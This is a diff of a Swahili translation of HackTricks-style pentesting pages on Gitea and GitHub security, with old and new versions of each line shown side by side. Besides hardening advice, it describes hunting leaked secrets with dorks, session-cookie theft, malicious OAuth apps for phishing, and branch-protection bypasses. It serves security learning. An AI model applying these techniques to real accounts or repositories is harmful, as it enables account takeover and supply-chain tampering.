Wakati **shirika linapoundwa,** timu inayoitwa **Wamiliki** inaundwa na mtumiaji anawekwa ndani yake. Timu hii itatoa **ufikiaji wa admin** juu ya **shirika,** hizo **idhini** na **jina** la timu **haziwezi kubadilishwa.**
|
||||
|
||||
**Org admins** (wamiliki) wanaweza kuchagua **mwonekano** wa shirika:
|
||||
**Wamiliki wa Shirika** wanaweza kuchagua **mwonekano** wa shirika:
|
||||
|
||||
- Umma
|
||||
- Kizuiwaji (watumiaji walioingia tu)
|
||||
- Kizuiwa (watumiaji walioingia tu)
|
||||
- Binafsi (wanachama tu)
|
||||
|
||||
**Org admins** wanaweza pia kuonyesha ikiwa **repo admins** wanaweza **kuongeza au kuondoa ufikiaji** kwa teams. Wanaweza pia kuonyesha idadi ya juu ya repos.
|
||||
**Wamiliki wa Shirika** wanaweza pia kuonyesha kama **wasimamizi wa hifadhi** wanaweza **kuongeza au kuondoa ufikiaji** kwa timu. Wanaweza pia kuonyesha idadi ya juu ya repos.
|
||||
|
||||
Wakati wa kuunda timu mpya, mipangilio kadhaa muhimu inachaguliwa:
|
||||
|
||||
- Inabainishwa **repos za shirika ambazo wanachama wa timu wataweza kufikia**: repos maalum (repos ambapo timu imeongezwa) au zote.
|
||||
- Pia inabainishwa **ikiwa wanachama wanaweza kuunda repos mpya** (mwandikaji atapata ufikiaji wa admin kwa hiyo)
|
||||
- **Idhini** ambazo **wanachama** wa repo wata **kuwa nazo**:
|
||||
- Pia inabainishwa **kama wanachama wanaweza kuunda repos mpya** (mumbaji atapata ufikiaji wa admin kwa hiyo)
|
||||
- **Idhini** ambazo **wanachama** wa hifadhi wata **kuwa nazo**:
|
||||
- **Ukurugenzi** wa ufikiaji
|
||||
- **Ukurugenzi** maalum:
|
||||
|
||||
.png>)
|
||||
|
||||
### Teams & Users
|
||||
### Timu & Watumiaji
|
||||
|
||||
Katika repo, **org admin** na **repo admins** (ikiwa inaruhusiwa na shirika) wanaweza **kusimamia majukumu** yanayotolewa kwa washirikiano (watumiaji wengine) na teams. Kuna **3** majukumu yanayowezekana:
|
||||
Katika hifadhi, **mkurugenzi wa shirika** na **wasimamizi wa hifadhi** (ikiwa inaruhusiwa na shirika) wanaweza **kusimamia majukumu** yanayotolewa kwa washirikiano (watumiaji wengine) na timu. Kuna **3** majukumu yanayowezekana:
|
||||
|
||||
- Mkurugenzi
|
||||
- Andika
|
||||
- Soma
|
||||
|
||||
## Gitea Authentication
|
||||
## Uthibitishaji wa Gitea
|
||||
|
||||
### Web Access
|
||||
### Ufikiaji wa Mtandao
|
||||
|
||||
Kutumia **jina la mtumiaji + nenosiri** na labda (na inapendekezwa) 2FA.
|
||||
|
||||
### **SSH Keys**
|
||||
### **Funguo za SSH**
|
||||
|
||||
Unaweza kuunda akaunti yako na funguo moja au kadhaa za umma zinazoruhusu funguo husika za **binafsi kufanya vitendo kwa niaba yako.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
Unaweza kuunda akaunti yako kwa funguo moja au kadhaa za umma zinazoruhusu **funguo binafsi zinazohusiana kufanya vitendo kwa niaba yako.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
#### **Funguo za GPG**
|
||||
|
||||
Huwezi kujifanya kuwa mtumiaji kwa funguo hizi lakini ikiwa huzitumii inaweza kuwa inawezekana kwamba **unagundulika kwa kutuma commits bila saini.**
|
||||
Huwezi **kujifanya kuwa mtumiaji kwa funguo hizi** lakini ikiwa hutazitumia inaweza kuwa inawezekana kwamba **utagundulika kwa kutuma commits bila saini.**
|
||||
|
||||
### **Personal Access Tokens**
|
||||
### **Tokeni za Ufikiaji Binafsi**
|
||||
|
||||
Unaweza kuunda token za ufikiaji wa kibinafsi ili **kutoa programu ufikiaji wa akaunti yako.** Token ya ufikiaji wa kibinafsi inatoa ufikiaji kamili juu ya akaunti yako: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
Unaweza kuunda tokeni za ufikiaji binafsi ili **kutoa programu ufikiaji wa akaunti yako.** Tokeni ya ufikiaji binafsi inatoa ufikiaji kamili juu ya akaunti yako: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Oauth Applications
|
||||
### Maombi ya Oauth
|
||||
|
||||
Kama token za ufikiaji wa kibinafsi, **Oauth applications** zitakuwa na **ufikiaji kamili** juu ya akaunti yako na maeneo ambayo akaunti yako ina ufikiaji kwa sababu, kama ilivyoonyeshwa katika [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes hazijasaidiwa bado:
|
||||
Kama tokeni za ufikiaji binafsi, **maombi ya Oauth** yatakuwa na **ufikiaji kamili** juu ya akaunti yako na maeneo ambayo akaunti yako ina ufikiaji kwa sababu, kama ilivyoonyeshwa katika [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), maeneo hayajaungwa mkono bado:
|
||||
|
||||
.png>)
|
||||
|
||||
### Deploy keys
|
||||
### Funguo za Kupeleka
|
||||
|
||||
Funguo za kupeleka zinaweza kuwa na ufikiaji wa kusoma tu au kuandika kwa repo, hivyo zinaweza kuwa za kuvutia kuathiri repos maalum.
|
||||
Funguo za kupeleka zinaweza kuwa na ufikiaji wa kusoma tu au wa kuandika kwa hifadhi, hivyo zinaweza kuwa za kuvutia kuathiri repos maalum.
|
||||
|
||||
## Branch Protections
|
||||
## Ulinzi wa Tawi
|
||||
|
||||
Ulinzi wa branch umeundwa ili **kutopeana udhibiti kamili wa repository** kwa watumiaji. Lengo ni **kueka mbinu kadhaa za ulinzi kabla ya kuwa na uwezo wa kuandika msimbo ndani ya branch fulani.**
|
||||
Ulinzi wa tawi umeundwa ili **kutopeana udhibiti kamili wa hifadhi** kwa watumiaji. Lengo ni **kueka mbinu kadhaa za ulinzi kabla ya kuwa na uwezo wa kuandika msimbo ndani ya tawi fulani.**
|
||||
|
||||
**Ulinzi wa branch wa repository** unaweza kupatikana katika _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
**Ulinzi wa tawi wa hifadhi** unaweza kupatikana katika _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> Haiwezekani kuweka ulinzi wa branch katika kiwango cha shirika. Hivyo zote lazima zitangazwe kwenye kila repo.
|
||||
> Haiwezekani kuweka ulinzi wa tawi katika kiwango cha shirika. Hivyo zote lazima zitangazwe kwenye kila hifadhi.
|
||||
|
||||
Ulinzi tofauti unaweza kutumika kwa branch (kama kwa master):
|
||||
Ulinzi tofauti unaweza kutumika kwa tawi (kama kwa master):
|
||||
|
||||
- **Zuia Push**: Hakuna mtu anaweza kusukuma kwenye branch hii
|
||||
- **Ruhusu Push**: Mtu yeyote mwenye ufikiaji anaweza kusukuma, lakini si kusukuma kwa nguvu.
|
||||
- **Whitelist Restricted Push**: Ni watumiaji/teams waliochaguliwa pekee wanaweza kusukuma kwenye branch hii (lakini hakuna kusukuma kwa nguvu)
|
||||
- **Ruhusu Merge Whitelist**: Ni watumiaji/teams walio kwenye orodha ya kibali pekee wanaweza kuunganishwa PRs.
|
||||
- **Ruhusu Status checks:** Hitaji ukaguzi wa hali kupita kabla ya kuunganishwa.
|
||||
- **Hitaji idhini**: Onyesha idadi ya idhini zinazohitajika kabla ya PR kuunganishwa.
|
||||
- **Zuia idhini kwa walio kwenye orodha ya kibali**: Onyesha watumiaji/teams wanaoweza kuidhinisha PRs.
|
||||
- **Zuia kuunganishwa kwenye mapitio yaliyokataliwa**: Ikiwa mabadiliko yanahitajika, haiwezi kuunganishwa (hata kama ukaguzi mwingine unapita)
|
||||
- **Zima Push**: Hakuna mtu anaweza kusukuma kwenye tawi hili
|
||||
- **Washa Push**: Mtu yeyote mwenye ufikiaji anaweza kusukuma, lakini si kusukuma kwa nguvu.
|
||||
- **Push ya Kizuiwa ya Orodha**: Ni watumiaji/timu waliochaguliwa pekee wanaweza kusukuma kwenye tawi hili (lakini si kusukuma kwa nguvu)
|
||||
- **Washa Orodha ya Merging**: Ni watumiaji/timu walio kwenye orodha pekee wanaweza kuunganishwa PRs.
|
||||
- **Washa Ukaguzi wa Hali:** Hitaji ukaguzi wa hali kupita kabla ya kuunganishwa.
|
||||
- **Hitaji idhini**: Onyesha idadi ya idhini zinazohitajika kabla PR inaweza kuunganishwa.
|
||||
- **Zuia idhini kwa walio kwenye orodha**: Onyesha watumiaji/timu wanaoweza kuidhinisha PRs.
|
||||
- **Zuia kuunganishwa kwenye mapitio yaliyokataliwa**: Ikiwa mabadiliko yanahitajika, haiwezi kuunganishwa (hata kama ukaguzi mwingine unakubalika)
|
||||
- **Zuia kuunganishwa kwenye maombi rasmi ya ukaguzi**: Ikiwa kuna maombi rasmi ya ukaguzi haiwezi kuunganishwa
|
||||
- **Futa idhini za zamani**: Wakati commits mpya, idhini za zamani zitafutwa.
|
||||
- **Hitaji Commits Zilizotiwa Saini**: Commits lazima ziwe na saini.
|
||||
- **Hitaji Commits Zilizotiwa Saini**: Commits lazima zitiwe saini.
|
||||
- **Zuia kuunganishwa ikiwa ombi la kuvuta limepitwa na wakati**
|
||||
- **Mifumo ya faili zilizolindwa/zisizolindwa**: Onyesha mifumo ya faili za kulinda/kutozingatia dhidi ya mabadiliko
|
||||
- **Mifumo ya faili iliyolindwa/isiyolindwa**: Onyesha mifumo ya faili za kulinda/kutoondoa dhidi ya mabadiliko
|
||||
|
||||
> [!NOTE]
|
||||
> Kama unavyoona, hata kama umeweza kupata baadhi ya akidi za mtumiaji, **repos zinaweza kulindwa zikizuia wewe kusukuma msimbo kwa master** kwa mfano kuathiri pipeline ya CI/CD.
|
||||
> Kama unavyoona, hata kama umeweza kupata baadhi ya akidi za mtumiaji, **repos zinaweza kulindwa zikizuia wewe kusukuma msimbo kwa master** kwa mfano kuathiri mchakato wa CI/CD.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## What is Github
|
||||
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Kwa kiwango cha juu, **GitHub ni tovuti na huduma ya msingi wa wingu inayosaidia waendelezaji kuhifadhi na kusimamia msimbo wao, pamoja na kufuatilia na kudhibiti mabadiliko kwenye msimbo wao**.
|
||||
(Kutoka [hapa](https://kinsta.com/knowledgebase/what-is-github/)) Kwa kiwango cha juu, **GitHub ni tovuti na huduma ya msingi wa wingu inayosaidia waendelezaji kuhifadhi na kusimamia msimbo wao, pamoja na kufuatilia na kudhibiti mabadiliko kwenye msimbo wao**.
|
||||
|
||||
### Basic Information
|
||||
|
||||
@@ -16,11 +16,11 @@ basic-github-information.md
|
||||
|
||||
Github repositories zinaweza kuwekwa kama za umma, binafsi na za ndani.
|
||||
|
||||
- **Binafsi** inamaanisha kwamba **tu** watu wa **shirika** wataweza kuzifikia
|
||||
- **Binafsi** inamaanisha kwamba **tu** watu wa **taasisi** wataweza kuzifikia
|
||||
- **Za ndani** inamaanisha kwamba **tu** watu wa **biashara** (biashara inaweza kuwa na mashirika kadhaa) wataweza kuzifikia
|
||||
- **Umma** inamaanisha kwamba **mtandao wote** utaweza kuzifikia.
|
||||
|
||||
Ikiwa unajua **mtumiaji, repo au shirika unalotaka kulenga** unaweza kutumia **github dorks** kupata taarifa nyeti au kutafuta **mvuja taarifa nyeti** **katika kila repo**.
|
||||
Ikiwa unajua **mtumiaji, repo au shirika unalotaka kulenga** unaweza kutumia **github dorks** kupata taarifa nyeti au kutafuta **mvuuko wa taarifa nyeti** **katika kila repo**.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
@@ -34,7 +34,7 @@ Tools (kila chombo kina orodha yake ya dorks):
|
||||
|
||||
### Github Leaks
|
||||
|
||||
Tafadhali, kumbuka kwamba github dorks pia zinakusudia kutafuta mvuja taarifa kwa kutumia chaguzi za utafutaji za github. Sehemu hii imejikita kwa zana hizo ambazo zitafanya **kupakua kila repo na kutafuta taarifa nyeti ndani yao** (hata kuangalia kina fulani cha commits).
|
||||
Tafadhali, kumbuka kwamba github dorks pia zinakusudia kutafuta mvuuko kwa kutumia chaguzi za utafutaji za github. Sehemu hii imejikita kwa zana hizo ambazo zitafanya **kupakua kila repo na kutafuta taarifa nyeti ndani yao** (hata kuangalia kina fulani cha commits).
|
||||
|
||||
Tools (kila chombo kina orodha yake ya regexes):
|
||||
|
||||
@@ -47,11 +47,11 @@ Tools (kila chombo kina orodha yake ya regexes):
|
||||
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
|
||||
|
||||
> [!WARNING]
|
||||
> Unapofanya utafutaji wa mvuja taarifa katika repo na kuendesha kitu kama `git log -p` usisahau kunaweza kuwa na **matawi mengine yenye commits nyingine** yanayoshikilia siri!
|
||||
> Unapofanya utafutaji wa mvuuko katika repo na kuendesha kitu kama `git log -p` usisahau kuna **matawi mengine yenye commits nyingine** yanayohusisha siri!
|
||||
|
||||
### External Forks
|
||||
|
||||
Inawezekana **kudhoofisha repos kwa kutumia ombi la kuvuta**. Ili kujua ikiwa repo ni hatarishi unahitaji zaidi kusoma mipangilio ya yaml ya Github Actions. [**Maelezo zaidi kuhusu hii hapa chini**](./#execution-from-a-external-fork).
|
||||
Inawezekana **kudhoofisha repos kwa kutumia ombi la kuvuta**. Ili kujua ikiwa repo ina udhaifu unahitaji kusoma sanaa za Github Actions yaml. [**Maelezo zaidi kuhusu hii hapa chini**](./#execution-from-a-external-fork).
|
||||
|
||||
### Github Leaks in deleted/internal forks
|
||||
|
||||
@@ -65,19 +65,19 @@ accessible-deleted-data-in-github.md
|
||||
|
||||
### Member Privileges
|
||||
|
||||
Kuna **privileges za msingi** ambazo zinaweza kutolewa kwa **wanachama** wa shirika. Hizi zinaweza kudhibitiwa kutoka kwenye ukurasa `https://github.com/organizations/<org_name>/settings/member_privileges` au kutoka kwenye [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
Kuna **haki za msingi** ambazo zinaweza kutolewa kwa **wanachama** wa shirika. Hizi zinaweza kudhibitiwa kutoka kwenye ukurasa `https://github.com/organizations/<org_name>/settings/member_privileges` au kutoka kwenye [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Ruhusa za msingi**: Wanachama watakuwa na ruhusa Hakuna/Soma/andika/Admin juu ya repos za shirika. Inapendekezwa kuwa **Hakuna** au **Soma**.
|
||||
- **Ruhusa za msingi**: Wanachama watakuwa na ruhusa Hakuna/Soma/andika/Msimamizi juu ya repos za shirika. Inapendekezwa kuwa **Hakuna** au **Soma**.
|
||||
- **Kuvuta repo**: Ikiwa si lazima, ni bora **kutokuruhusu** wanachama kuvuta repos za shirika.
|
||||
- **Uundaji wa kurasa**: Ikiwa si lazima, ni bora **kutokuruhusu** wanachama kuchapisha kurasa kutoka kwa repos za shirika. Ikiwa ni lazima unaweza kuruhusu kuunda kurasa za umma au binafsi.
|
||||
- **Maombi ya ufikiaji wa ushirikiano**: Kwa hili kuwezeshwa washirikiano wa nje wataweza kuomba ufikiaji wa GitHub au programu za OAuth kufikia shirika hili na rasilimali zake. Kwa kawaida inahitajika, lakini ikiwa si hivyo, ni bora kuizima.
|
||||
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
|
||||
- **Mabadiliko ya mwonekano wa repo**: Ikiwa imewezeshwa, **wanachama** wenye ruhusa **admin** kwa **repo** wataweza **kubadilisha mwonekano wake**. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kubadilisha mwonekano wa repos. Ikiwa **hutaki** watu kufanya mambo **ya umma**, hakikisha hii ime **zimwa**.
|
||||
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
|
||||
- **Futa na uhamasishaji wa repo**: Ikiwa imewezeshwa, wanachama wenye ruhusa **admin** kwa repo wataweza **kufuta** au **kuhamasisha** repos za umma na binafsi.
|
||||
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
|
||||
- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
|
||||
- **Mabadiliko ya mwonekano wa repo**: Ikiwa imewezeshwa, **wanachama** wenye ruhusa **za msimamizi** kwa **repo** wataweza **kubadilisha mwonekano wake**. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kubadilisha mwonekano wa repos. Ikiwa **hutaki** watu kufanya mambo **ya umma**, hakikisha hii ime **zimwa**.
|
||||
- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
|
||||
- **Futwa na uhamasishaji wa repo**: Ikiwa imewezeshwa, wanachama wenye ruhusa **za msimamizi** kwa repo wataweza **kufuta** au **kuhamasisha** repos za umma na binafsi.
|
||||
- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
|
||||
- **Ruhusu wanachama kuunda timu**: Ikiwa imewezeshwa, mwanachama yeyote wa shirika ataweza **kuunda** timu mpya. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kuunda timu mpya. Ni bora kuwa na hii imezimwa.
|
||||
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
|
||||
- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
|
||||
- **Mambo mengine yanaweza kuwekewa mipangilio** katika ukurasa huu lakini yale yaliyotangulia ndiyo yanayohusiana zaidi na usalama.
|
||||
|
||||
### Actions Settings
|
||||
@@ -90,18 +90,18 @@ Mipangilio kadhaa inayohusiana na usalama inaweza kuwekwa kwa ajili ya hatua kut
|
||||
- **Sera za hatua za Github**: Inaruhusu kuashiria ni repos zipi zinaweza kuendesha workflows na ni workflows zipi zinapaswa kuruhusiwa. Inapendekezwa **kubainisha ni repos zipi** zinapaswa kuruhusiwa na sio kuruhusu hatua zote kuendesha.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Kuvuta workflows za ombi kutoka kwa washirikiano wa nje**: Inapendekezwa **kuhitaji idhini kwa wote** washirikiano wa nje.
|
||||
- _Sijapata API yenye taarifa hii, shiriki ikiwa unayo_
|
||||
- _Sikuweza kupata API yenye taarifa hii, shiriki ikiwa unayo_
|
||||
- **Kendesha workflows kutoka kwa ombi la kuvuta**: Inashauriwa **kutoendesha workflows kutoka kwa ombi la kuvuta** kwani wasimamizi wa chanzo cha kuvuta watapewa uwezo wa kutumia tokens zenye ruhusa za kusoma kwenye repo ya chanzo.
|
||||
- _Sijapata API yenye taarifa hii, shiriki ikiwa unayo_
|
||||
- _Sikuweza kupata API yenye taarifa hii, shiriki ikiwa unayo_
|
||||
- **Ruhusa za workflow**: Inashauriwa sana **kutoa ruhusa za kusoma tu kwa repo**. Inashauriwa kutopeana ruhusa za kuandika na kuunda/kubali ombi la kuvuta ili kuepuka matumizi mabaya ya GITHUB_TOKEN inayotolewa kwa workflows zinazokimbia.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Integrations
|
||||
|
||||
_Nnijulishe ikiwa unajua kiunganishi cha API kupata taarifa hii!_
|
||||
_Nnijulishe ikiwa unajua kiunganishi cha API kufikia taarifa hii!_
|
||||
|
||||
- **Sera ya ufikiaji wa programu za wahusika wengine**: Inapendekezwa kupunguza ufikiaji kwa kila programu na kuruhusu zile tu zinazohitajika (baada ya kuzitathmini).
|
||||
- **Programu za GitHub zilizowekwa**: Inapendekezwa kuruhusu zile tu zinazohitajika (baada ya kuzitathmini).
|
||||
- **Sera ya ufikiaji wa programu za wahusika wengine**: Inapendekezwa kupunguza ufikiaji kwa kila programu na kuruhusu zile tu zinazohitajika (baada ya kuzikagua).
|
||||
- **Programu za GitHub zilizowekwa**: Inapendekezwa kuruhusu zile tu zinazohitajika (baada ya kuzikagua).
|
||||
|
||||
## Recon & Attacks abusing credentials
|
||||
|
||||
@@ -109,18 +109,18 @@ Kwa hali hii tutadhani kwamba umepata ufikiaji wa akaunti ya github.
|
||||
|
||||
### With User Credentials
|
||||
|
||||
Ikiwa kwa namna fulani tayari una ruhusa za mtumiaji ndani ya shirika unaweza **kuingia tu** na kuangalia ni **majukumu gani ya biashara na shirika ulionayo**, ikiwa wewe ni mwanachama wa kawaida, angalia ni **ruhusa zipi wanachama wa kawaida wanao**, ni **makundi** gani ulipo, ni **ruhusa zipi ulizonazo** juu ya **repos**, na **jinsi repos zinavyolindwa**.
|
||||
Ikiwa kwa namna fulani tayari una ruhusa za mtumiaji ndani ya shirika unaweza **kuingia tu** na kuangalia ni **majukumu gani ya biashara na shirika ulionayo**, ikiwa wewe ni mwanachama wa kawaida, angalia ni **ruhusa zipi wanachama wa kawaida wanao**, katika **makundi** gani ulipo, ni **ruhusa zipi ulizonazo** juu ya **repos**, na **jinsi repos zinavyolindwa**.
|
||||
|
||||
Kumbuka kwamba **2FA inaweza kutumika** hivyo utaweza kufikia taarifa hii tu ikiwa unaweza pia **kupita ukaguzi huo**.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba ikiwa **utafanikiwa kuiba `user_session` cookie** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji ruhusa au 2FA.
|
||||
|
||||
Angalia sehemu iliyo chini kuhusu [**kupita ulinzi wa matawi**](./#branch-protection-bypass) ikiwa itakuwa na manufaa.
|
||||
Angalia sehemu iliyo chini kuhusu [**kuvuka ulinzi wa matawi**](./#branch-protection-bypass) ikiwa itakuwa na manufaa.
|
||||
|
||||
### With User SSH Key
|
||||
|
||||
Github inaruhusu **watumiaji** kuweka **SSH keys** ambazo zitakuwa zikitumika kama **njia ya uthibitisho wa kupeleka msimbo** kwa niaba yao (hakuna 2FA inayotumika).
|
||||
Github inaruhusu **watumiaji** kuweka **funguo za SSH** ambazo zitakuwa zikitumika kama **njia ya uthibitisho wa kupeleka msimbo** kwa niaba yao (hakuna 2FA inatumika).
|
||||
|
||||
Kwa funguo hii unaweza kufanya **mabadiliko katika repos ambapo mtumiaji ana baadhi ya ruhusa**, hata hivyo huwezi kuitumia kufikia api ya github ili kuorodhesha mazingira. Hata hivyo, unaweza kupata **kuorodhesha mipangilio ya ndani** ili kupata taarifa kuhusu repos na mtumiaji ulionao ufikiaji:
|
||||
```bash
|
||||
@@ -128,13 +128,13 @@ Kwa funguo hii unaweza kufanya **mabadiliko katika repos ambapo mtumiaji ana baa
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la github unaweza kufikia **funguo za umma alizoweka** katika akaunti yake kwenye _https://github.com/\<github_username>.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo ya faragha uliyopata inaweza kutumika.
|
||||
Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la github unaweza kufikia **funguo za umma alizoweka** katika akaunti yake kwenye _https://github.com/\<github_username>.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo binafsi ulizozipata zinaweza kutumika.
|
||||
|
||||
**Funguo za SSH** zinaweza pia kuwekwa katika hifadhi kama **funguo za kutekeleza**. Mtu yeyote mwenye ufikiaji wa funguo hii ataweza **kuanzisha miradi kutoka kwenye hifadhi**. Kawaida katika seva yenye funguo tofauti za kutekeleza, faili ya ndani **`~/.ssh/config`** itakupa taarifa kuhusu funguo inayohusiana.
|
||||
|
||||
#### Funguo za GPG
|
||||
|
||||
Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) wakati mwingine inahitajika kusaini commits au unaweza kugunduliwa.
|
||||
Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) wakati mwingine inahitajika kusaini mabadiliko au unaweza kugunduliwa.
|
||||
|
||||
Angalia kwa ndani ikiwa mtumiaji wa sasa ana funguo yoyote kwa:
|
||||
```shell
|
||||
@@ -152,19 +152,19 @@ Token ya Mtumiaji inaonekana kama hii: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123
|
||||
|
||||
Kwa utangulizi kuhusu [**Programu za Oauth za Github angalia taarifa za msingi**](basic-github-information.md#oauth-applications).
|
||||
|
||||
Mshambuliaji anaweza kuunda **Programu ya Oauth yenye uharibifu** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya udukuzi.
|
||||
Mshambuliaji anaweza kuunda **Programu ya Oauth mbaya** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.
|
||||
|
||||
Hizi ni [mipaka ambayo programu ya Oauth inaweza kuomba](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Ni lazima kila wakati kuangalia mipaka inayohitajika kabla ya kuzikubali.
|
||||
|
||||
Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repo/matendo yanayohusiana na shirika.
|
||||
Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repos/matendo yanayohusiana na shirika.
|
||||
|
||||
### Kwa Programu ya Github
|
||||
|
||||
Kwa utangulizi kuhusu [**Programu za Github angalia taarifa za msingi**](basic-github-information.md#github-applications).
|
||||
|
||||
Mshambuliaji anaweza kuunda **Programu ya Github yenye uharibifu** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya udukuzi.
|
||||
Mshambuliaji anaweza kuunda **Programu ya Github mbaya** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.
|
||||
|
||||
Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repo/matendo yanayohusiana na shirika.
|
||||
Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repos/matendo yanayohusiana na shirika.
|
||||
|
||||
## Kuathiri & Kutumia Vibaya Github Action
|
||||
|
||||
@@ -176,49 +176,49 @@ abusing-github-actions/
|
||||
|
||||
## Kupita Ulinzi wa Tawi
|
||||
|
||||
- **Hitaji idadi ya idhini**: Ikiwa umeathiri akaunti kadhaa unaweza kukubali PR zako kutoka kwa akaunti nyingine. Ikiwa una akaunti tu kutoka ambapo ulitengeneza PR huwezi kukubali PR yako mwenyewe. Hata hivyo, ikiwa una ufikiaji wa mazingira ya **Github Action** ndani ya repo, ukitumia **GITHUB_TOKEN** unaweza kuwa na uwezo wa **kuidhinisha PR yako** na kupata idhini 1 kwa njia hii.
|
||||
- **Hitaji idadi ya idhini**: Ikiwa umeathiri akaunti kadhaa unaweza tu kukubali PR zako kutoka kwa akaunti nyingine. Ikiwa una akaunti tu kutoka ambapo ulitengeneza PR huwezi kukubali PR yako mwenyewe. Hata hivyo, ikiwa una ufikiaji wa mazingira ya **Github Action** ndani ya repo, ukitumia **GITHUB_TOKEN** unaweza kuwa na uwezo wa **kuidhinisha PR yako** na kupata idhini 1 kwa njia hii.
|
||||
- _Kumbuka kwa hili na kwa kizuizi cha Wamiliki wa Kanuni kwamba kwa kawaida mtumiaji hatakuwa na uwezo wa kuidhinisha PR zake mwenyewe, lakini ikiwa wewe ni, unaweza kuitumia vibaya kukubali PR zako._
|
||||
- **Futa idhini wakati mabadiliko mapya yanaposhughulikiwa**: Ikiwa hii haijakamilishwa, unaweza kuwasilisha msimbo halali, subiri mtu apitishe, na kuweka msimbo mbaya na kuunganisha kwenye tawi lililohifadhiwa.
|
||||
- **Hitaji mapitio kutoka kwa Wamiliki wa Kanuni**: Ikiwa hii imewashwa na wewe ni Mmiliki wa Kanuni, unaweza kufanya **Github Action kuunda PR yako na kisha kuidhinisha mwenyewe**.
|
||||
- Wakati **faili ya CODEOWNER imepangwa vibaya** Github hailalamiki lakini haitatumia. Kwa hivyo, ikiwa imepangwa vibaya **ulinzi wa Wamiliki wa Kanuni hauwezi kutumika.**
|
||||
- **Futa idhini wakati mabadiliko mapya yanaposhughulikiwa**: Ikiwa hii haijakamilishwa, unaweza kuwasilisha msimbo halali, subiri hadi mtu apitishe, na kuweka msimbo mbaya na kuunganisha kwenye tawi lililolindwa.
|
||||
- **Hitaji mapitio kutoka kwa Wamiliki wa Kanuni**: Ikiwa hii imewezeshwa na wewe ni Mmiliki wa Kanuni, unaweza kufanya **Github Action kuunda PR yako na kisha kuidhinisha mwenyewe**.
|
||||
- Wakati **faili ya CODEOWNER imepangwa vibaya** Github haisemi chochote lakini haitatumia. Kwa hivyo, ikiwa imepangwa vibaya **ulinzi wa Wamiliki wa Kanuni hauwezi kutumika.**
|
||||
- **Ruhusu wahusika maalum kupita mahitaji ya ombi la kuvuta**: Ikiwa wewe ni mmoja wa wahusika hawa unaweza kupita ulinzi wa ombi la kuvuta.
|
||||
- **Jumuisha wasimamizi**: Ikiwa hii haijakamilishwa na wewe ni msimamizi wa repo, unaweza kupita ulinzi huu wa tawi.
|
||||
- **Kuhujumu PR**: Unaweza kuwa na uwezo wa **kubadilisha PR ya mtu mwingine** kwa kuongeza msimbo mbaya, kuidhinisha PR inayotokana na hiyo mwenyewe na kuunganisha kila kitu.
|
